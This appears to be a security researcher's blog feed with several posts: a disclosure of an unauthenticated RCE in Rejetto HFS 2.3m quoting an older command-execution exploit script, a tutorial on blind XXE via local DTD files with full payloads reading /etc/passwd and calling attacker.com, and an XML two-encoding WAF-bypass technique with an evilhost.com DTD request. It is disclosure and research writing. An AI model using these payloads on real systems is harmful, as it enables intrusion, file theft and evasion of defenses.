<li><a target="_blank" href="proxy.php?url=https://twitter.com/ptswarm/status/1302966718227189761">2020, Arseniy Sharoglazov, New XML technique</a></li> <li><a target="_blank" href="proxy.php?url=https://medium.com/@erik.wynter/pwning-manageengine-from-endpoint-to-exploit-bc5793836fd">2022, Erik Wynter, Pwning ManageEngine — From Endpoint to Exploit</a></li> <li><a target="_blank" href="proxy.php?url=https://swarm.ptsecurity.com/xxe-chrome-safari-chatgpt/">2024, Igor Sak-Sakovskiy, Getting XXE in Web Browsers using ChatGPT</a></li> <li><a target="_blank" href="proxy.php?url=https://www.zerodayinitiative.com/blog/2024/5/29/cve-2024-30043-abusing-url-parsing-confusion-to-exploit-xxe-on-sharepoint-server-and-cloud">2024, Piotr Bazydło, CVE-2024-30043: Abusing URL Parsing Confusion to Exploit XXE on SharePoint Server and Cloud</a></li> <li><a target="_blank" href="proxy.php?url=https://github.com/assetnote/blind-ssrf-chains">2021, An exhaustive list of all the possible ways you can chain your Blind SSRF vulnerability</a></li> </ol> </div><p>¡Complementa este listado <a target="_blank" href="proxy.php?url=https://twitter.com/_mohemiv/status/1796527386810544237">en los comentarios de la página X de este artículo</a> y no te decepciones con XXE!</p> Rejetto HTTP File Server 2.3m Unauthenticated RCE 5 https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/ Fri, 24 May 2024 22:51:56 +0000 Arseniy Sharoglazov https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/ <p>I just decided to share an interesting Unauthenticated RCE and the story behind it!</p> <div class="e2-text-picture"> <img src="proxy.php?url=https://mohemiv.com/pictures/httpfileserver-preview.png" width="740" height="416" alt="" /> </div> <h2>Rejetto HTTP File Server</h2> <p>During a red team assessment, I stumbled upon a mysterious web app:</p> <div class="e2-text-picture"> <img src="proxy.php?url=https://mohemiv.com/pictures/httpfileserver-2.3m-80.png" width="696" height="547" alt="" /> <div class="e2-text-caption">Here’s what I encountered on the 80/tcp port</div> </div> <p>This web application was confirmed to be Rejetto HFS, a once-popular Windows web server first released in August 2002.</p> <p>A quick online search revealed that version 2.3m has no known vulnerabilities. However, I was surprised to find that older versions had numerous RCEs!</p> <pre><code class="hljs python">import socket url = raw_input("Enter URL : ") try: while True: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((url, 80)) cmd = raw_input("Enter command (E.g. calc) or press Ctrl+C to exit : ") req = "GET /?{.exec|"+cmd+".}" req += " HTTP/1.1\r\n\r\n" sock.send(req) sock.close() print "Done!" except KeyboardInterrupt: print "Bye!" </code></pre><div class="table-descr-div"><p>This code for exploiting RCE in HTTP File Server 2.1.2 was found <a target="_blank" href="proxy.php?url=https://www.exploit-db.com/exploits/37985">on ExploitDB</a></p> </div><p>What is “{.exec”? Is this one of the earliest known template injections? The software appeared too old for such attacks, and the platform, Windows, is also unconventional.</p> <p>Confused, I decided to download and analyze what was going on. I obtained an exe file from <a target="_blank" href="proxy.php?url=https://www.rejetto.com/hfs/?f=dl">the official website</a> and found <a target="_blank" href="proxy.php?url=https://github.com/rejetto/hfs2">the source code on GitHub</a>, which turned out to be written in Delphi.</p> <h2>Unauthenticated Remote Code Execution</h2> <p>When I saw the code on both GitHub and IDA Pro, I was amazed. Indeed, HFS has its own template parser, making it one of the oldest among its kind.</p> <p>Furthermore, it took me less than 10 minutes to bypass all restrictions and execute my code on version 2.3m, which was marked as the latest and stable!</p> <div class="e2-text-picture"> <img src="proxy.php?url=https://mohemiv.com/pictures/httpfileserver-rce.png" width="691" height="478" alt="" /> <div class="e2-text-caption">I decided to publish the screenshot in a redacted version</div> </div> <p>It was a bit challenging, but in the end, I created a POC that not only executes the code, but also returns the output and hides itself from log files (via a null byte). Note that the value of the Host header was also tampered with, which is crucial for the injection.</p> <h2>Reporting</h2> <p>I was sad to learn that Rejetto HTTP File Server 2.x is now obsolete and no longer supported. After a discussion with Massimo Melina, we concluded that we should recommend all users to update to HFS 3.</p> <h2>Timeline</h2> <pre><code class="hljs xml">18/08/2023 — Reported to the vendor 21/08/2023 — Reply received 24/05/2024 — Vendor informed about disclosure 24/05/2024 — Reply received 25/05/2024 — Article released 25/05/2024 — CVE Request 1671764 31/05/2024 — MITRE assigned CVE-2024-23692 06/06/2024 — Stephen Fewer published <a href="proxy.php?url=https://github.com/rapid7/metasploit-framework/pull/19240" target="_blank">the metasploit module</a> and <a href="proxy.php?url=https://attackerkb.com/topics/d9AVVdmNhH/cve-2024-23692" target="_blank">the attackerkb article</a> </code></pre> Exploiting XXE with local DTD files 2 https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/ Thu, 13 Dec 2018 18:00:00 +0000 Arseniy Sharoglazov https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/ <p>This little technique can force your blind XXE to output anything you want!</p> <div class="e2-text-picture"> <img src="proxy.php?url=https://mohemiv.com/pictures/exploiting-xxe-with-local-dtd-files-preview.png" width="720" height="407" alt="" /> </div> <h2>Why do we have trouble exploiting XXE in 2k18?</h2> <p>Imagine you have an XXE. External entities are supported, but the server’s response is always empty. In this case you have two options: <b>error-based</b> and <b>out-of-band</b> exploitation.</p> <p>Let’s consider this error-based example:</p> <table class="custom-table-1"><tr><td><p><b>Request</b></p> </td><td style="width: 40%;"><p><b>Response</b></p> </td></tr><tr><td><pre><code class="xml">&lt;?xml version=&quot;1.0&quot;&nbsp;<span style="white-space: nowrap;">?&gt;</span> &lt;!DOCTYPE message [ &lt;!ENTITY % ext SYSTEM &quot;http:<wbr>/<wbr>/attacker.com<wbr>/ext.dtd&quot;&gt; %ext; ]&gt; &lt;message&gt;&lt;/message&gt;</code></pre></td><td><p>java.io.<wbr>File<wbr>Not<wbr>Found<wbr>Exception: /nonexistent/<br /> <span style="background: #D9FFAD;">root:x:0:0:root:<wbr>/root:<wbr>/bin/bash<br /> bin:x:1:1:bin:<wbr>/bin:<wbr>/usr<wbr>/bin<wbr>/nologin<br /> daemon:x:2:2:daemon:<wbr>/:<wbr>/usr<wbr>/bin<wbr>/nologin<br /> </span><br /> (No such file or directory)</p> </td></tr></table><p><b>Contents of ext.dtd</b></p> <pre style="margin-bottom: -13px;"><code class="xml">&lt;!ENTITY % file SYSTEM &quot;file:<wbr>/<wbr>/<wbr>/etc<wbr>/passwd&quot;&gt; &lt;!ENTITY % eval &quot;&lt;!ENTITY &amp;#x25; error SYSTEM 'file:<wbr>/<wbr>/<wbr>/nonexistent<wbr>/%file;'&gt;&quot;&gt; %eval; %error; </code> </pre><p>See? You are using an external server for delivering the DTD payload. What can you do if there is a firewall between you and the target server? Nothing!</p> <p>What if we just put an external DTD content directly to the DOCTYPE? If we do this, some errors should always appear:</p> <table class="custom-table-1"><tr><td style="width: 60%;"><p><b>Request</b></p> </td><td style="width: 40%;"><p><b>Response</b></p> </td></tr><tr><td><pre style="margin-bottom: -5px;"><code class="hljs xml">&lt;?xml version=&quot;1.0&quot;&nbsp;<span style="white-space: nowrap;">?&gt;</span> &lt;!DOCTYPE message [ &lt;!ENTITY % file SYSTEM &quot;file:<wbr>/<wbr>/<wbr>/etc<wbr>/passwd&quot;&gt; &lt;!ENTITY % eval &quot;&lt;!ENTITY &amp;#x25; error SYSTEM 'file:<wbr>/<wbr>/<wbr>/nonexistent<wbr>/%file;'&gt;&quot;&gt; %eval; %error; ]&gt; &lt;message&gt;&lt;/message&gt; </code> </pre></td><td><p>Internal Error: SAX Parser Error. Detail:<br /> The parameter entity reference “%file;” cannot occur within markup in the internal subset of the DTD.</p> </td></tr></table><p>External DTDs allow us to include one entity inside another one, but it’s prohibited in the internal DTD syntax.</p> <h2>What can we do inside an internal DTD?</h2> <p>To use external DTD syntax in the internal DTD subset, you can bruteforce a local DTD file on the target host and redefine some parameter-entity references inside it:</p> <table class="custom-table-1"><tr><td><p><b>Request</b></p> </td><td style="width: 40%;"><p><b>Response</b></p> </td></tr><tr><td><pre><code class="xml">&lt;?xml version=&quot;1.0&quot;&nbsp;<span style="white-space: nowrap;">?&gt;</span> &lt;!DOCTYPE message [ &lt;!ENTITY % local_dtd SYSTEM &quot;file://<wbr>/opt<wbr>/IBM<wbr>/WebSphere<wbr>/AppServer<wbr>/properties<wbr>/sip-app_1_0.dtd&quot;&gt; &lt;!ENTITY % condition '<span style="background: #D9FFAD;">aaa)&gt; &lt;!ENTITY &amp;#x25; file SYSTEM &quot;file:<wbr>/<wbr>/<wbr>/etc<wbr>/passwd&quot;&gt; &lt;!ENTITY &amp;#x25; eval &quot;&lt;!ENTITY &amp;#x26;#x25; error SYSTEM &amp;#x27;file:<wbr>/<wbr>/<wbr>/nonexistent<wbr>/&amp;#x25;file;&amp;#x27;&gt;&quot;&gt; &amp;#x25;eval; &amp;#x25;error; &lt;!ELEMENT aa (bb</span>'&gt; %local_dtd; ]&gt; &lt;message&gt;any text&lt;/message&gt; </code> </pre></td><td><p>java.<wbr>io.<wbr>File<wbr>Not<wbr>Found<wbr>Exception: /nonexistent/<br /> <span style="background: #D9FFAD;">root:x:0:0:root:<wbr>/root:<wbr>/bin<wbr>/bash<br /> bin:x:1:1:bin:<wbr>/bin:<wbr>/usr<wbr>/bin<wbr>/nologin<br /> daemon:x:2:2:daemon:<wbr>/:<wbr>/usr<wbr>/bin<wbr>/nologin<br /> </span><br /> (No such file or directory)</p> </td></tr></table><p><b>Contents of sip-app_1_0.dtd</b></p> <pre><code class="xml">… &lt;!ENTITY % condition &quot;and | or | not | equal | contains | exists | subdomain-of&quot;&gt; &lt;!ELEMENT pattern (%condition;)&gt; …</code> </pre><p>This works because all XML entities are constant. If you define two entities with the same name, only the first one will be used.</p> <h2>How can we find a local DTD file?</h2> <p>Nothing is easier than enumerating files and directories. Below are a few more examples of the successful application of this trick:<br /> <h3>Custom Linux System</h3></p> <pre><code class="hljs xml">&lt;!ENTITY % local_dtd SYSTEM &quot;file:///usr/share/yelp/dtd/docbookx.dtd&quot;&gt; &lt;!ENTITY % ISOamsa '<span style="background: #D9FFAD;">Your DTD code</span>'&gt; %local_dtd;</code></pre><p><h3>Custom Windows System</h3></p> <pre><code class="hljs xml">&lt;!ENTITY % local_dtd SYSTEM &quot;file:<wbr>/<wbr>/<wbr>/C:<wbr>\Windows<wbr>\System32<wbr>\wbem<wbr>\xml<wbr>\cim20.dtd&quot;&gt; &lt;!ENTITY % SuperClass '<span style="background: #D9FFAD;">&gt;Your DTD code&lt;!ENTITY test &quot;test&quot;</span>'&gt; %local_dtd;</code> </pre><p>I would like to say thank you to <a href="proxy.php?url=https://twitter.com/__mn1__" target="_blank">Mikhail Klyuchnikov from Positive Technologies</a> for sharing this path of always-existing Windows DTD file.<br /> <h3>Cisco WebEx</h3></p> <pre><code class="hljs xml">&lt;!ENTITY % local_dtd SYSTEM &quot;file:<wbr>/<wbr>/<wbr>/usr<wbr>/share<wbr>/xml<wbr>/scrollkeeper<wbr>/dtds<wbr>/scrollkeeper-omf.dtd&quot;&gt; &lt;!ENTITY % url.attribute.set '<span style="background: #D9FFAD;">&gt;Your DTD code&lt;!ENTITY test &quot;test&quot;</span>'&gt; %local_dtd;</code></pre><p><h3>Citrix XenMobile Server</h3></p> <pre><code class="hljs xml">&lt;!ENTITY % local_dtd SYSTEM &quot;jar:file:<wbr>/<wbr>/<wbr>/opt<wbr>/sas<wbr>/sw<wbr>/tomcat<wbr>/shared<wbr>/lib<wbr>/jsp-api.jar!<wbr>/javax<wbr>/servlet<wbr>/jsp<wbr>/resources<wbr>/jspxml.dtd&quot;&gt; &lt;!ENTITY % Body '<span style="background: #D9FFAD;">&gt;Your DTD code&lt;!ENTITY test &quot;test&quot;</span>'&gt; %local_dtd;</code></pre><p><h3>Any Web Application on IBM WebSphere Application Server</h3></p> <pre><code class="hljs xml">&lt;!ENTITY % local_dtd SYSTEM &quot;.<wbr>/..<wbr>/..<wbr>/properties<wbr>/schemas<wbr>/j2ee<wbr>/XMLSchema.dtd&quot;&gt; &lt;!ENTITY % xs-datatypes '<span style="background: #D9FFAD;">Your DTD code</span>'&gt; &lt;!ENTITY % simpleType &quot;a&quot;&gt; &lt;!ENTITY % restriction &quot;b&quot;&gt; &lt;!ENTITY % boolean &quot;(c)&quot;&gt; &lt;!ENTITY % URIref &quot;CDATA&quot;&gt; &lt;!ENTITY % XPathExpr &quot;CDATA&quot;&gt; &lt;!ENTITY % QName &quot;NMTOKEN&quot;&gt; &lt;!ENTITY % NCName &quot;NMTOKEN&quot;&gt; &lt;!ENTITY % nonNegativeInteger &quot;NMTOKEN&quot;&gt; %local_dtd;</code></pre><h2>Timeline</h2> <pre><code class="hljs ruby">01/01/2016 — Discovering the technique 12/12/2018 — Writing the article :D 13/12/2018 — Full disclosure </code></pre> Evil XML with Two Encodings 1 https://mohemiv.com/all/evil-xml/ Sun, 04 Feb 2018 06:00:00 +0000 Arseniy Sharoglazov https://mohemiv.com/all/evil-xml/ <p>WAFs see a white noise instead of the document!</p> <div class="e2-text-picture"> <img src="proxy.php?url=https://mohemiv.com/pictures/evil-xml-with-two-encodings-preview.png" width="763" height="387" alt="" /> </div> <p>In this article, I explain how XML parsers decode XML from different encodings and how to bypass WAFs by using some of the XML decoding features.</p> <h2>What encodings are supported in XML</h2> <div class="evil-xml-1"><p>According to the specification, all XML parsers must be capable of reading documents in at least two encodings: UTF-8 and UTF-16. Many parsers support more encodings, but these should always work.</p> </div><div class="evil-xml-2"><p><a target="_blank" href="proxy.php?url=https://www.w3.org/TR/xml/">Extensible Markup Language (XML) 1.0 (Fifth Edition)</a></p> </div><p>Both UTF-8 and UTF-16 are used for writing characters from <a target="_blank" href="proxy.php?url=https://unicode-table.com/en/">the Unicode table</a>.</p> <p>The difference between UTF-8 and UTF-16 is in the way they encode the Unicode characters to a binary code.</p> <h3>UTF-8</h3> <p>In UTF-8, a character is encoded as a sequence of one to four bytes.</p> <p>The binary code of an encoded character is defined by this template:</p> <div class="e2-text-table"> <table cellpadding="0" cellspacing="0" border="0"> <tr> <td><b>Number of bytes</b></td> <td><b>Significant bits</b></td> <td><b>Binary code</b></td> </tr> <tr> <td>1</td> <td>7</td> <td>0xxxxxxx</td> </tr> <tr> <td>2</td> <td>11</td> <td>110xxxxx 10xxxxxx</td> </tr> <tr> <td>3</td> <td>16</td> <td>1110xxxx 10xxxxxx 10xxxxxx</td> </tr> <tr> <td>4</td> <td>21</td> <td>11110xxx 10xxxxxx 10xxxxxx 10xxxxxx</td> </tr> </table> </div> <p>An overlong encoding is prohibited, so only the shortest method is correct.</p> <h3>UTF-16</h3> <p>In UTF-16, a character is encoded as a sequence of two or four bytes.</p> <p>The binary code is defined by the following template:</p> <div class="e2-text-table"> <table cellpadding="0" cellspacing="0" border="0"> <tr> <td><b>Number of bytes</b></td> <td><b>Significant bits</b></td> <td><b>Binary code</b></td> </tr> <tr> <td>2</td> <td>16</td> <td>xxxxxxxx xxxxxxxx</td> </tr> <tr> <td>4 *</td> <td>20</td> <td>110110xx xxxxxxxx 110111xx xxxxxxxx</td> </tr> </table> </div> <div class="table-descr-div-2"><p>* 0x00010000 is subtracted from a character code before encoding it</p></div><p>If a symbol has been written by four bytes, its binary code is called <b>a surrogate pair</b>. A surrogate pair is a combination of two common symbols from the reserved range: U+D800 to U+DFFF. One half of a surrogate pair is not valid.</p> <h3>UTF-16: BE and LE encodings</h3> <p>There are two types of UTF-16: UTF-16BE and UTF-16LE (big-endian / little-endian). They have a different order of bytes.</p> <p>Big-endian is a “natural” order of bytes like in the Arabic numerals. Little-endian is an inverse order of bytes. It’s used in x86-64 and is more common for computers.</p> <p>Some examples of encoding symbols in UTF-16BE and UTF-16LE:</p> <div class="e2-text-table"> <table cellpadding="0" cellspacing="0" border="0"> <tr> <td><b>Encoding</b></td> <td><b>Symbol</b></td> <td><b>Binary code</b></td> </tr> <tr> <td>UTF-16BE</td> <td>U+003F</td> <td><span style="font-family: monospace;"><span style="background: #F5DEB3;">00000000</span> <span style="background: #D9FFAD;">00111111</span></span></td> </tr> <tr> <td>UTF-16LE</td> <td>U+003F</td> <td><span style="font-family: monospace;"><span style="background: #D9FFAD;">00111111</span> <span style="background: #F5DEB3;">00000000</span></span></td> </tr> <tr> <td>UTF-16BE *</td> <td>U+1D6E5</td> <td><span style="font-family: monospace;"><span style="background: #F5DEB3;"><b>110110</b>00</span> <span style="background: #D9FFAD;">00110101</span> <span style="background: #CDC8B1;"><b>110111</b>10</span> <span style="background: #FFC0CB;">11100101</span></span></td> </tr> <tr> <td>UTF-16LE *</td> <td>U+1D6E5</td> <td><span style="font-family: monospace;"><span style="background: #D9FFAD;">00110101</span> <span style="background: #F5DEB3;"><b>110110</b>00</span> <span style="background: #FFC0CB;">11100101</span> <span style="background: #CDC8B1;"><b>110111</b>10</span></span></td> </tr> </table> </div> <p>&#x2a; In a surrogate pair, each of the “characters” is inverted on its own. This is designed for backward compatibility with Unicode 1.0, where all symbols were encoded using two bytes only.</p> <h2>How do parsers detect encoding</h2> <p>According to the XML specification, parsers detect encoding in four ways:</p> <h3>By external information about encoding</h3> <p>Some network protocols have a special field that indicates the encoding:</p> <div class="e2-text-picture"> <img src="proxy.php?url=https://mohemiv.com/pictures/evil-xml-with-two-encodings-webdav.png" width="800" height="360" alt="" /> <div class="e2-text-caption">Specifying the encoding of the document in the WebDav protocol</div> </div> <p>Most frequently these are protocols that built by the MIME standard. For example it’s SMTP, HTTP, and WebDav.</p> <h3>By reading Byte Order Mark (BOM)</h3> <p>The Byte Order Mark (BOM) is a special character with the U+FEFF code.</p> <p>If a parser finds a BOM at the beginning of the document, then the encoding is determined by the binary code of the BOM.</p> <div class="e2-text-table"> <table cellpadding="0" cellspacing="0" border="0"> <tr> <td><b>Encoding</b></td> <td><b>BOM</b></td> <td><b>Example</b></td> <td style="text-align: center"></td> </tr> <tr> <td>UTF-8</td> <td><span style="background: #D9FFAD;">EF BB BF</span></td> <td><span style="background: #D9FFAD;">EF BB BF</span> 3C 3F 78 6D 6C</td> <td>...&lt;?xml</td> </tr> <tr> <td>UTF-16BE</td> <td><span style="background: #D9FFAD;">FE FF</span></td> <td><span style="background: #D9FFAD;">FE FF</span> 00 3C 00 3F 00 78 00 6D 00 6C</td> <td>...&lt;.?.x.m.l</td> </tr> <tr> <td>UTF-16LE</td> <td><span style="background: #D9FFAD;">FF FE</span></td> <td><span style="background: #D9FFAD;">FF FE</span> 3C 00 3F 00 78 00 6D 00 6C 00</td> <td>..&lt;.?.x.m.l.</td> </tr> </table> </div> <div class="table-descr-div-2"><p>Most popular encodings and their BOMs</p> </div><p>BOM only works at the beginning of the document. In the middle a BOM will be read as a special space.</p> <h3>By first symbols of document</h3> <p>The specification allows parsers to determine encoding by the first bytes:</p> <div class="e2-text-table"> <table cellpadding="0" cellspacing="0" border="0"> <tr> <td><b>Encoding</b></td> <td><b>Document</b></td> <td style="text-align: center"></td> </tr> <tr> <td>UTF-8<br>ISO 646<br>ASCII</td> <td>3C 3F 78 6D</td> <td>&lt;?xm</td> </tr> <tr> <td>UTF-16BE</td> <td>00 3C 00 3F</td> <td>.&lt;.?</td> </tr> <tr> <td>UTF-16LE</td> <td>3C 00 3F 00</td> <td>&lt;.?.</td> </tr> </table> </div> <p>But, this only works for documents that start with an XML declaration.</p> <h3>By XML declaration</h3> <p>The encoding can be written in the XML declaration:</p> <pre style="margin: 20px 0 0 0;"><code class="xml">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;</code> </pre><div class="table-descr-div"></div><p>An XML declaration is a special string that can be written at the beginning of the document. A parser understands the version of the document’s standard by this string.</p> <pre style="margin: 24px 0 0 0;"><code class="hljs xml">&lt;?xml version=&quot;1.0&quot; encoding=&quot;ISO-8859-1&quot; ?&gt; &lt;très&gt;là&lt;/très&gt;</code></pre><div class="table-descr-div"><p>Document in the ISO-8859-1 encoding</p> </div><p>Obviously, in order to read the declaration, parsers have to know the encoding in which the declaration was written. But, the XML declaration is useful for clarification between ASCII-compatible encodings.</p> <h2>Known Technique: WAF bypass by using UTF-16</h2> <p>The most common way to bypass a WAF by using XML encodings is to encode the XML to a non-compatible with ASCII encoding, and hope that the WAF will fail to understand it.</p> <p>For example, this technique worked in <a target="_blank" href="proxy.php?url=https://web.archive.org/web/20170729080138/https://2016.phdays.com/press/news/72297/">the PHDays WAF Bypass contest in 2016</a>.</p> <pre style="margin: 20px 0 0 0;"><code class="xml">POST / HTTP/1.1 Host: d3rr0r1m.waf-bypass.phdays.com Connection: close Content-Type: text/xml User-Agent: Mozilla/5.0 Content-Length: 149 &lt;?xml version=&quot;1.0&quot;?&gt; &lt;!DOCTYPE root [ &lt;!ENTITY % xxe SYSTEM &quot;http://evilhost.com/waf.dtd&quot;&gt; %xxe; ]&gt; &lt;root&gt; &lt;method&gt;test&lt;/method&gt; &lt;/root&gt;</code></pre><div class="table-descr-div"><p>Request that exploited XXE from the contest</p> </div><p>One of the solutions to this task was to encode the XML from the POST’s body into UTF-16BE without a BOM:</p> <pre style="margin: 20px 0 0 0;"><code class="bash">cat original.xml | iconv -f UTF-8 -t UTF-16BE &gt; payload.xml</code> </pre><p>In this document, the organizer’s WAF didn’t see anything dangerous and did process the request.</p> <h2>New Technique: WAF Bypass by using Two Encodings</h2> <p>There is a way to confuse a WAF by encoding XML using two encodings simultaneously.</p> <p>When a parser reads encoding from the XML declaration, it immediately switches to it. Including the case when the new encoding isn’t compatible with the encoding in which the XML declaration was written.</p> <p>I didn’t find a WAF that supports parsing such multi-encoded documents.</p> <h3>‎Xerces2 Java Parser</h3> <p>The XML-declaration is in ASCII, the root element is in UTF-16BE:</p> <div class="e2-text-table"> <table cellpadding="0" cellspacing="0" border="0"> <tr> <td>00000000</td> <td>3C3F 786D 6C20 7665 7273 696F 6E3D 2231</td> <td>&lt;?xml version=&quot;1</td> </tr> <tr> <td>00000010</td> <td>2E30 2220 656E 636F 6469 6E67 3D22 5554</td> <td>.0&quot; encoding=&quot;UT</td> </tr> <tr> <td>00000020</td> <td>462D 3136 4245 223F 3E<span style="background: #D9FFAD;">00 3C00 6100 3E00</span></td> <td>F-16BE&quot;?&gt;<span style="background: #D9FFAD;">.&lt;.a.&gt;.</span></td> </tr> <tr> <td>00000030</td> <td><span style="background: #D9FFAD;">3100 3300 3300 3700 3C00 2F00 6100 3E</span></td> <td><span style="background: #D9FFAD;">1.3.3.7.&lt;./.a.&gt;</span></td> </tr> </table> </div> <p>Commands for encoding your XML:</p> <pre style="margin: 24px 0 0 0;"><code class="hljs bash">echo -n '&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-16BE&quot;?&gt;' &gt; payload.xml echo -n '&lt;a&gt;1337&lt;/a&gt;' | iconv -f UTF-8 -t UTF-16BE &gt;&gt; payload.xml</code></pre><h3>libxml2</h3> <p>libxml2 switches the encoding immediately after it reads it from the “attribute”. Therefore, we need to change the encoding before closing the declaration:</p> <div class="e2-text-table"> <table cellpadding="0" cellspacing="0" border="0"> <tr> <td>00000000</td> <td>3C3F 786D 6C20 7665 7273 696F 6E3D 2231</td> <td>&lt;?xml version=&quot;1</td> </tr> <tr> <td>00000010</td> <td>2E30 2220 656E 636F 6469 6E67 3D22 5554</td> <td>.0&quot; encoding=&quot;UT</td> </tr> <tr> <td>00000020</td> <td>462D 3136 4245 22<span style="background: #D9FFAD;">00 3F00 3E00 3C00 6100</span></td> <td>F-16BE&quot;<span style="background: #D9FFAD;">.?.&gt;.&lt;.a.</span></td> </tr> <tr> <td>00000030</td> <td><span style="background: #D9FFAD;">3E00 3100 3300 3300 3700 3C00 2F00 6100</span></td> <td><span style="background: #D9FFAD;">&gt;.1.3.3.7.&lt;./.a.</span></td> </tr> <tr> <td>00000040</td> <td><span style="background: #D9FFAD;">3E</span></td> <td><span style="background: #D9FFAD;">&gt;</span></td> </tr> </table> </div> <p>Commands for encoding your XML:</p> <pre style="margin: 24px 0 0 0;"><code class="hljs bash">echo -n '&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-16BE&quot;' &gt; payload.xml echo -n '?&gt;&lt;a&gt;1337&lt;/a&gt;' | iconv -f UTF-8 -t UTF-16BE &gt;&gt; payload.xml</code></pre><h2>Afterword</h2> <p>The technique was discovered on September 5th, 2017. The first publication of this material was <a target="_blank" href="proxy.php?url=https://habr.com/post/340000/">on Habr (in Russian)</a> on October 13th, 2017.</p> <p>Nicolas Grégoire <a target="_blank" href="proxy.php?url=https://twitter.com/Agarri_FR/status/918414109057658880">released on Twitter a similar technique for ‎Xerces2 and UTF-7</a> on October 12th, 2017, and that’s why I published this article on Habr in less than 24 hours later.</p> <p>In addition to UTF-7, UTF-8, and UTF-16, you can use many different encodings, but you should take into account your parser’s capabilities.<br><br></p>